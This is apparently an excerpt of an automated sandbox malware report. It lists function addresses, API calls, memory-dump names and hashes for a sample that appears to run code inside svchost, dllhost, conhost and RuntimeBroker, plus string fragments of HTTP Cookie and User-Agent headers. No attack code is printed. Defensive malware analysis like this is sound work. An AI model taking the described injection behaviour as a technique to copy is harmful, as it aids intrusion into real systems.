Instruction Fuzzy Hash: 8231B6724142046FEB017BB09D4AAFA7BACEF11310F044165BDC5DA0A7DEB449D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 1020, Parent PID: 7344COMMON

Executed Functions

Function 00220811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0022092A
RtlExitUserThread.NTDLL ref: 00220933

Memory Dump Source

Source File: 0000001D.00000002.2886726902.0000000000220000.00000040.00000001.00020000.00000000.sdmp, Offset: 00220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_220000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 9213b5a24b7572a0fa8275f44ed011a212179cfb3f58e45071e8f7335106e7b0
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: D531E8724202257FEB017FF0ADC6ABA77ACEF11300F040165BD85DA0A7EA744975CAB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 2944, Parent PID: 7344COMMON

Executed Functions

Function 006E0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 006E092A
RtlExitUserThread.NTDLL ref: 006E0933

Memory Dump Source

Source File: 0000001E.00000002.2887284163.00000000006E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_6e0000_dllhost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 57b2477187417a0fa26d9e778a8692fd47d65f2161f25521c5e1062ca1e8795a
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: CD31E5720113846FFF417B719D86ABA37AEEF11300F00016ABD85DE1A6DAB44D95CAB9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 2832, Parent PID: 7344COMMON

Executed Functions

Function 00E60811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00E6092A
RtlExitUserThread.NTDLL ref: 00E60933

Memory Dump Source

Source File: 0000001F.00000002.2886725458.0000000000E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_e60000_conhost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 4e65f1ce295fa428a3da672e4fd0ef68577f9fce5ea97a4a2d9caff0e717d1c0
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 543129720802147FEF06BF70AD46ABB37ACEF51380F041165BD85EA0A2EA704D54CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 1184, Parent PID: 7344COMMON

Executed Functions

Function 00940811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0094092A
RtlExitUserThread.NTDLL ref: 00940933

Memory Dump Source

Source File: 00000020.00000002.2886409384.0000000000940000.00000040.00000001.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_940000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 3f2886f6ec09ed34d49eaf7711265528a991098f11a0e572295590f38348433f
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: C831E672010205AFEB017B709D86FBA3BACEF91300F400165BE85DA1A6EA7549A4CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 5100, Parent PID: 7344COMMON

Executed Functions

Function 00B00811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00B0092A
RtlExitUserThread.NTDLL ref: 00B00933

Memory Dump Source

Source File: 00000022.00000002.2422738043.0000000000B00000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_b00000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 738e6db485bacd31c5bfb57b6805020ea59ac34f98071cdae04e4e89ec52c087
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 0B31C1720203046FEB017B709D86BAA3FECFF11300F4441E6BD85DA0E2EA7449648AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: qqQDbrYlXafmy.exePID: 2852, Parent PID: 7344COMMON

Executed Functions

Function 0286093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2921684648.0000000002860000.00000040.00000001.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2860000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 666f1d83c93e6e90c6a8e0b59a0915f7aa07f5a7d724b8da872b7f184644d25e
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: CD5192356442549FEB135F20CC89BA97BB8FF04744F0401D9BA49FE0D6DBB09594CA6A

Uniqueness

Uniqueness Score: -1.00%

Function 028614BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2921684648.0000000002860000.00000040.00000001.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2860000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction ID: 09242cb909ce05c8386663cc7c04eae06bae2c523b38d4155683a79ddb5cdbc6
Opcode Fuzzy Hash: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction Fuzzy Hash: 7521FC764046149EDF03AF60C9CC8A673ECEF40704F49096A9989EF04AFA749154CEE6

Uniqueness

Uniqueness Score: -1.00%

Function 02861345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2921684648.0000000002860000.00000040.00000001.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2860000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 81af63b3b150f58c9699f22beb827f2356ba015f504f613eba9638e408418da3
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 7F21AE35A04216AFDF119EB8D948B6DBBB5AF04304F098215F959FF695D730A800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 028614DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2921684648.0000000002860000.00000040.00000001.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2860000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction ID: 6c4173c30b3f4b94f782e7bfe0c7a4aafbc802248f83db95d1a0019eda0938b0
Opcode Fuzzy Hash: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction Fuzzy Hash: F811AD764045149EEF03AF64C5CC8BA73ECEE40704B49096A9D8AEF44AFE749154CFE6

Uniqueness

Uniqueness Score: -1.00%

Function 02863F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2921684648.0000000002860000.00000040.00000001.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2860000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 7d740c54ca76b50c5b23a0ddb8058a1065a441b0fe34852c3217d7d543167f75
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: 77F08C3C588640AFFF403BB4AC4D62D32B9AF00B05F0404D0AA8AEE8D0CE3085508E72

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02864674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 02864728
User, xrefs: 028647AA
ie: , xrefs: 0286472E
-Age, xrefs: 028647B0
nt: , xrefs: 028647B6

Memory Dump Source

Source File: 00000023.00000002.2921684648.0000000002860000.00000040.00000001.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2860000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: c64ccaea70287e747866c4c5b566e60deb088b3db4161d02c9eaf71b8488a789
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: FA4164BA500208BFEF125F65CC48BEEBBBAEF80704F154059EA44EA254D7309654CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02864675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cook, xrefs: 02864728
User, xrefs: 028647AA
ie: , xrefs: 0286472E
-Age, xrefs: 028647B0
nt: , xrefs: 028647B6

Memory Dump Source

Source File: 00000023.00000002.2921684648.0000000002860000.00000040.00000001.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2860000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: dc2a5234da75354acf6ed9f9fd8035f8988e787324178cb9ea38eb42ed547b26
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: B14152BA500208BFEF225F65CC48BEEBFBAEF84704F154069EA44EA254D734D654CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: qqQDbrYlXafmy.exePID: 4500, Parent PID: 7344COMMON

Executed Functions

Function 02BB093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2922946963.0000000002BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2bb0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 3db76c414472a3032659e6335f09e0faf399cb654bdf473c3ee1eaa2d9c4e214
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 2C51A1315442549FEB236F20CC85BBA7BB8EF05744F0405D9AA49FE0D6DBB09590CA65

Uniqueness

Uniqueness Score: -1.00%

Function 02BB14BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2922946963.0000000002BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2bb0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc032be1761e2e27ec16aa6f47ae36ec6219fc5cd5c4500d68a6f7b1eca660e1
Instruction ID: d9007e701e61f5467eea8f5aa82ba0010ea1d627fcf27d83ea76a59388daa009
Opcode Fuzzy Hash: fc032be1761e2e27ec16aa6f47ae36ec6219fc5cd5c4500d68a6f7b1eca660e1
Instruction Fuzzy Hash: 0421FA72404614AEEF03AF60C9C88E673ECEF40704F4549AA9989EF049FAB09554CEE6

Uniqueness

Uniqueness Score: -1.00%

Function 02BB1345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2922946963.0000000002BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2bb0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 3827e46dd769374e585e7034dbbadc5fa6cb912ff662c6d45e6aba785fd235ca
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: D2218E31904216AFDF12DE78C844BADBBB5AF04704F058255F959BB594D770A810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02BB14DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2922946963.0000000002BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2bb0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe8e250536a2cc792e0f46b2e11c914316ba17fdb804fdedba9ee654a488dd4
Instruction ID: 56a2a84c558480c29dec51e6ae9fec31b8eadf728de8e8d02fdb99284b22d059
Opcode Fuzzy Hash: 2fe8e250536a2cc792e0f46b2e11c914316ba17fdb804fdedba9ee654a488dd4
Instruction Fuzzy Hash: 68117472404614AEEF03AF64C5C88FA73ECEF40708B4549AA9D89EF449FEB09154CEE5

Uniqueness

Uniqueness Score: -1.00%

Function 02BB3F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2922946963.0000000002BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2bb0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction ID: 881ccbb4178d83d91e9f8be86de86ec60904bfc76917cf811f3c849ce409cff5
Opcode Fuzzy Hash: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction Fuzzy Hash: FCF01C70588240EBEF433BB08C4D6ED36F9AF40745F0405D1AA8AAD4D5DEB095508E75

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02BB4675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 02BB47B0
Cook, xrefs: 02BB4728
User, xrefs: 02BB47AA
ie: , xrefs: 02BB472E
nt: , xrefs: 02BB47B6

Memory Dump Source

Source File: 00000024.00000002.2922946963.0000000002BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2bb0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: eeae6897e9e5b13bdf0dbc5be080434017d8e70745aec173b7e12ebb64ff84cf
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: F04172B6600208BFEF125F65CC48BEEBFBAFF84704F1540A9EA44AA255D770D640CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02BB4674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 02BB47B0
Cook, xrefs: 02BB4728
User, xrefs: 02BB47AA
ie: , xrefs: 02BB472E
nt: , xrefs: 02BB47B6

Memory Dump Source

Source File: 00000024.00000002.2922946963.0000000002BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2bb0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: cff8848bbac9601d628c63a9cc5d5f078bb8476f2c89e010f1c0faf844853b50
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 434151B6600208BFEF129F65CC44BEEBBBAFF84704F1540A9EA44AA255D774D640CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: qqQDbrYlXafmy.exePID: 1744, Parent PID: 7344COMMON

Executed Functions

Function 0256093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2918581585.0000000002560000.00000040.00000001.00020000.00000000.sdmp, Offset: 02560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_2560000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 09dc2333d8d4fcaa15e7f2cf7b12593dbfa056a0ac124d39233c8a60f6178b2f
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 8B5192315442549FEB125F20CC89BA97BB8FF04744F0401D9BA49FE0D6DBB09594CB69

Uniqueness

Uniqueness Score: -1.00%

Function 025614BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2918581585.0000000002560000.00000040.00000001.00020000.00000000.sdmp, Offset: 02560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_2560000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e691a712de486e4dfceb288b4c3d9d3fe3d652e5e2e3b2f50e0e601de67137e
Instruction ID: 810691f4088cfe0eceeb6d2154fe5a906a9c2d4cc68b6b523247cf5125fbdb44
Opcode Fuzzy Hash: 4e691a712de486e4dfceb288b4c3d9d3fe3d652e5e2e3b2f50e0e601de67137e
Instruction Fuzzy Hash: 4421FC72404A149EDF03AF60C9C88BA73ECFF80704F45496A9989EF049FA709554CEEA

Uniqueness

Uniqueness Score: -1.00%

Function 02561345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2918581585.0000000002560000.00000040.00000001.00020000.00000000.sdmp, Offset: 02560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_2560000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: e184dcd04e2ea86b70576acf487860406f5cba3fa77103c64639da8fc2e0254d
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 17218E31A04216AFDF119EB8C848B6DBBB5BF44704F098215F959BF694D770A810CB98

Uniqueness

Uniqueness Score: -1.00%

Function 025614DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2918581585.0000000002560000.00000040.00000001.00020000.00000000.sdmp, Offset: 02560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_2560000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4917235bce67b0bd341cc4376806be672fb8739d92a651c71d1172738683fcb
Instruction ID: 943c53926dadd7442d80c6d8bdbbf5d3efaba073ec4d46f42844c546b385634a
Opcode Fuzzy Hash: d4917235bce67b0bd341cc4376806be672fb8739d92a651c71d1172738683fcb
Instruction Fuzzy Hash: 24116C724049159EEF03AF60C5C88BA73EDBE80704B49496A9D8AEF449FE709154CEE9

Uniqueness

Uniqueness Score: -1.00%

Function 02563F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2918581585.0000000002560000.00000040.00000001.00020000.00000000.sdmp, Offset: 02560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_2560000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 0348ea5431a964ddec840662d61dde98bcb2874fccb64eb886c845a2cece5c85
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: 8EF01C70588251BEFF403BB0EC4D679BAB9BF80B05F0405D1AA89AF0D4DE7885508E79

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02564674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 025647B0
User, xrefs: 025647AA
Cook, xrefs: 02564728
ie: , xrefs: 0256472E
nt: , xrefs: 025647B6

Memory Dump Source

Source File: 00000025.00000002.2918581585.0000000002560000.00000040.00000001.00020000.00000000.sdmp, Offset: 02560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_2560000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: b3b6c95c62378a6dc9f68629ed08885822c061f96b203e1b1adf131367f5386b
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 614140B6500208BFEF229F65CC48BEEBFBAFF84704F154069EA44AB254D7349641CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02564675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 025647B0
User, xrefs: 025647AA
Cook, xrefs: 02564728
ie: , xrefs: 0256472E
nt: , xrefs: 025647B6

Memory Dump Source

Source File: 00000025.00000002.2918581585.0000000002560000.00000040.00000001.00020000.00000000.sdmp, Offset: 02560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_2560000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 308953973f8209882fcc4503d1814855b50d52206185d47a531162b6d4981d1c
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 0A4151B6500208BFEF225F65CC48BEEBFBAFF84704F154069EA44AB254D7349651CB98

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: qqQDbrYlXafmy.exePID: 4520, Parent PID: 7344COMMON

Executed Functions

Function 0261093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2918126920.0000000002610000.00000040.00000001.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2610000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 38e8d43403301023bd5d3553e95f552aa788bc0d451a687b25f24b8c9d599e96
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: CD5170316442549FEF229F20CC85B9A77BCAF04744F0801D9AE49FE1D6DBB0A694CB69

Uniqueness

Uniqueness Score: -1.00%

Function 026114BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2918126920.0000000002610000.00000040.00000001.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2610000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction ID: 0ac0d93b57e53a05831a6c2011854a4ded50daf56c42613b49e552d1d7a922f8
Opcode Fuzzy Hash: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction Fuzzy Hash: F6210E724046149EDF03AF60C9C9CA673ECEF40704F4905AA9E89EF44DFA70A154CEEA

Uniqueness

Uniqueness Score: -1.00%

Function 02611345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2918126920.0000000002610000.00000040.00000001.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2610000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 7dd3b71c0fad22056f3125470013f62888aac05db5b7f2448e6f6f77de8bfd50
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 2F21D23190421AAFDF11DF78C844B5DBBB5AF05300F094255FE59BB694DB30E910CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 026114DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000026.00000002.2918126920.0000000002610000.00000040.00000001.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_2610000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction ID: 89b7a79fbf2ef458897fa56da868425e91e9e2fe2bbb59277a3a08b447d72da4
Opcode Fuzzy Hash: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction Fuzzy Hash: F9114D724045149EEF03AF60C5C88AA73EDEF41704B4909AE9D89EF84DFE71A154CEE9

Uniqueness

Uniqueness Score: -1.00%

Function 02613F0D Relevance: .0, Instructions: 26
COMMON

